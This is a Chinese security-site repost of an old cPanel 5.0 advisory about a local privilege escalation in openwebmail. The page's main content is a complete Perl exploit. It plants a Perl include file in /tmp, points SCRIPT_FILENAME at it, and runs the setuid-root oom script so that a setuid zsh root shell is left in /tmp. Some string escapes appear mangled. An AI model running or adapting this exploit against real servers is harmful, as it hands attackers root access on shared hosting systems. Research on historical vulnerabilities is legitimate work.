cPanel 5.0 – ‘Openwebmail’ Local Privilege Escalation

cPanel 5.0 – ‘Openwebmail’ Local Privilege Escalation

漏洞ID 1053722 漏洞类型
发布时间 2003-02-19 更新时间 2003-02-19
图片[1]-cPanel 5.0 – ‘Openwebmail’ Local Privilege Escalation-安全小百科CVE编号 N/A
图片[2]-cPanel 5.0 – ‘Openwebmail’ Local Privilege Escalation-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22265
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6885/info

It has been reported that cPanels' openwebmail package, distributed as part of the cPanel CGI application, is vulnerable to an external file include vulnerability. Exploitation of this issue may result in local user privilage escalation.

By manipulating environment variables a local attacker may supply, as an include file, an arbitrary local perl-script. This may make it possible to execute the included script with the rights of the openwebmail 'oom' script, which is by default setuid root.

This vulnerability has been reported to affect cPanel version 5 however, previous versions may also be affected. 

#!/usr/bin/perl
#UK2_SEC Presents...
#Cpanel Local exploit ;) leaves /bin/zsh rootshell in /tmp
#Written by:
#deadbeat
#For and behalf of UK2_SEC 
#http://oakey.no-ip.com:82/uk2sec/
#
#Nice and short exploit ;) yippe don't you love perl..
#mail us:
#[email protected] (deadbeat)
#[email protected] (deadbeat)
#[email protected] (c0w_d0g3)
print "UK2SEC presents...n";
print "Cpanel local epxloit..n";
print "coded by:deadbeat, for UK2SEC...n";
open (FILEHANDLE, ">/tmp/openwebmail-shared.pl") or die ("Can't open 
/tmp/openwebmail-shared.pl");
print FILEHANDLE "#!/usr/bin/perln";
print FILEHANDLE "$cmd = "cp /bin/zsh /tmp/.uk2sec;chmod +s 
/tmp/.uk2sec";";   
close (FILEHANDLE);
local($ENV{'SCRIPT_FILENAME'} = "/tmp/openwebmail-shared.pl");
system("suidperl -T /usr/local/cpanel/base/openwebmail/oom");
print "Done..rootshell should be in: /tmp/.uk2secn";
sleep 2;
print "Clean up..n";
`rm -rf /tmp/openwebmail-shared.pl`;
print "Done...have fun kiddiot...n";

相关推荐: OpenBSD readline信息泄漏漏洞

OpenBSD readline信息泄漏漏洞 漏洞ID 1205678 漏洞类型 未知 发布时间 2001-06-27 更新时间 2001-06-27 CVE编号 CVE-2001-0378 CNNVD-ID CNNVD-200106-126 漏洞平台 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享